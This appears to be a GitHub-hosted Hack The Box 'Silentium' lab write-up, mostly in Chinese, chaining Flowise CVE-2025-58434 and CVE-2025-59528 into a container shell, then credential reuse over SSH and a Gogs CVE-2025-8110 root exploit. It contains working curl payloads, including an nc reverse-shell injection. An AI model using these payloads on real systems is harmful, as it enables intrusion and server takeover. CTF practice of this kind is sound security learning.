karimelsheikh1/HTB-Silentium-Writeup

GitHub: karimelsheikh1/HTB-Silentium-Writeup

一份针对 HTB Silentium 靶场的完整渗透教程,演示了从 Flowise RCE 到容器逃逸再到 Gogs 提权的全链路利用过程。

Stars: 0 | Forks: 0

# HTB - Silentium Writeup ![Hack The Box](https://img.shields.io/badge/HackTheBox-Silentium-green) ![难度](https://img.shields.io/badge/Difficulty-Easy-blue) ![操作系统](https://img.shields.io/badge/OS-Linux-orange) ## 机器信息 - **名称:** Silentium - **操作系统:** Linux - **难度:** Easy - **CVEs:** CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 ## 枚举 ### Nmap 扫描 ``` nmap -sC -sV -p- --min-rate 5000 -oN nmap.txt ``` 开放端口:22 (SSH), 80 (HTTP) ### 虚拟主机`staging.silentium.htb` 运行 **Flowise 3.0.5** ## 获取立足点 — Flowise RCE ### CVE-2025-58434 — 未经身份验证的密码重置 Token 泄露 forgot-password 接口在 API 响应中直接泄露了 tempToken。 ``` curl -s http://staging.silentium.htb/api/v1/account/forgot-password \ -X POST -H "Content-Type: application/json" \ -d '{"user":{"email":"ben@silentium.htb"}}' ``` 使用泄露的 `tempToken` 重置密码: ``` curl -s http://staging.silentium.htb/api/v1/account/reset-password \ -X POST -H "Content-Type: application/json" \ -d '{"user":{"email":"ben@silentium.htb","tempToken":"","password":"Hacked123!"}}' ``` ### CVE-2025-59528 — 通过 CustomMCP 实现的已认证 RCE 登录以获取 API 密钥,然后触发 RCE: ``` curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \ -X POST \ -H "Content-Type: application/json" \ -H "Authorization: Bearer " \ -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 443 >/tmp/f\");return 1;})()})"}}' ``` 在 Docker 容器内以 root 身份获得了 shell。 ## 容器逃逸 检查了环境变量: ``` env ``` 找到了凭据: - `FLOWISE_USERNAME=ben` - `FLOWISE_PASSWORD=F1l3_d0ck3r` SSH 连接到主机: ``` ssh ben@ ``` ## 权限提升 — Gogs CVE-2025-8110 Gogs 在内部以 root 身份运行在端口 3001 上。 设置 SSH 隧道: ``` ssh -L 8080:127.0.0.1:3001 ben@ ``` 通过 `http://127.0.0.1:8080` 在 Gogs 上注册账号,生成 API token。 ### CVE-2025-8110 — PutContents API 中的 Symlink 绕过 使用了 [TYehan 的漏洞利用程序](https://github.com/TYehan/CVE-2025-8110-Gogs-RCE-Exploit): ``` python3 exploit.py \ --url http://127.0.0.1:8080 \ --username \ --password \ --token \ --host \ --port 4446 ``` 获得 root shell! 🎉 ## Flags - **User flag:** `/home/ben/user.txt` - **Root flag:** `/root/root.txt` ## 使用的工具 - nmap - curl - ffuf - netcat - Python3 ## 参考 - [CVE-2025-58434](https://github.com/advisories/GHSA-wgpv-6j63-x5ph) - [CVE-2025-59528](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p) - [CVE-2025-8110](https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit) 已添加到 `/etc/hosts`:
标签:CISA项目, CTI, CVE-2025-58434, CVE-2025-59528, CVE-2025-8110, Docker, Flowise, Gogs, HackTheBox, HTB, IP 地址批量处理, Nmap, RCE, SSH隧道, Web安全, Writeup, 安全防御评估, 容器逃逸, 提权, 漏洞复现, 编程工具, 网络安全, 网络安全审计, 蓝队分析, 虚拟驱动器, 远程代码执行, 隐私保护